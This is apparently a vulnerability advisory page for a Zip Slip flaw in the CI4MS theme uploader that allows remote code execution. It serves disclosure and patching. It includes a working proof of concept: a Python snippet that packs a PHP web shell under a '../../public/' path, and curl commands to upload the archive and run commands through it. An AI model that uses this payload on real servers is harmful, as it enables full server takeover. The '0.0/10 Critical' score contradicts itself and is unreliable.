Skip to content

GHSA-xv3r-vr59-95rg CVE-2026-41203

CI4MS Theme::upload is vulnerable to Zip Slip leading to RCE

Critical Packagist
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.62%
Chance of exploitation in the next 30 days. Higher than 49.71% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
0.31.5.0
Upgrade ci4-cms-erp/ci4ms to this version or later

Description

Summary

ci4ms Theme::upload extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the theme create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.

Details

modules/Theme/Controllers/Theme.php:13-56 implements the theme upload action. ZipArchive::extractTo() is called directly with no iteration over entry names to verify they resolve inside the destination:

public function upload()
{
    $valData = ([
        'theme' => ['label' => lang('Theme.backendTheme'), 'rules' => 'uploaded[theme]|ext_in[theme,zip]|mime_in[theme,...]'],
    ]);
    if ($this->validate($valData) == false) return redirect()->route('backendThemes')->withInput()->with('errors', $this->validator->getErrors());
    $file = $this->request->getFile('theme');
    $tempPath = WRITEPATH . 'tmp/' . str_replace('_theme.zip', '', $file->getName()) . '/';
    $zip = new \ZipArchive();
    if ($zip->open($file->getTempName()) === true) {
        $zip->extractTo($tempPath);     // no entry-name validation
        $zip->close();
    } ...
    $log = install_theme_from_tmp($themeName);
    ...
}

A ZIP containing entries like ../../public/shell.php is extracted outside writable/tmp/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.

Routing: modules/Theme/Config/Routes.php binds POST backend/themes/themesUpload to Theme::upload with role=create. Although ThemeConfig itself does not list the route in csrfExcept, the upload handler is still reachable cross-site by any admin browser that has create on the Theme module, and any admin with that role can trigger it directly.

A companion Zip Slip bug in Backup::restore is tracked separately as GHSA-xp9f-pvvc-57p4.

PoC

Build the archive:

python3 -c "
import zipfile
with zipfile.ZipFile('evil_theme.zip','w') as z:
    z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
    z.writestr('info.xml', '<theme name=\"x\"/>')
"

Upload through the Theme manager with an authenticated session that has theme create:

curl -i -b 'ci4ms_session=<SESSION_ID>' \
  -F 'theme=@evil_theme.zip' \
  https://target.example.com/backend/themes/themesUpload

Trigger the shell:

curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

Any ci4ms account that can upload a theme can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles.

Affected versions

Packagist

PackageVulnerableFixed in
ci4-cms-erp/ci4ms
< 0.31.5.0
0.31.5.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ci4-cms-erp/ci4ms Packagist → 0.31.5.0

composer
composer require ci4-cms-erp/ci4ms:^0.31.5.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-gqr2-7hcg-rchf
CI4MS: Stored XSS in Pages Module Content via Broken html_purify Validation Rule
High Also affects ci4-cms-erp/ci4ms
GHSA-245j-xjvr-xvm5
CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations
Medium Also affects ci4-cms-erp/ci4ms
GHSA-2m69-jmvh-6chr
CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
Medium Also affects ci4-cms-erp/ci4ms
GHSA-5hfv-c864-qcq9
CI4MS has a Deactivated User Session Bypass (active=0)
Medium Also affects ci4-cms-erp/ci4ms
GHSA-vgrf-pr28-vf98
CI4MS Vulnerable to Arbitrary Database Table Drop via Theme deleteProcess
Medium Also affects ci4-cms-erp/ci4ms
GHSA-fw49-9xq4-gmx6
CI4MS has Unrestricted PHP File Upload via Theme Installation that Leads to Authenticated Remote Code Execution
High Also affects ci4-cms-erp/ci4ms
GHSA-xp9f-pvvc-57p4
CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
Critical Also affects ci4-cms-erp/ci4ms
GHSA-qxpq-82f3-xj47
CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS
Critical Also affects ci4-cms-erp/ci4ms
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor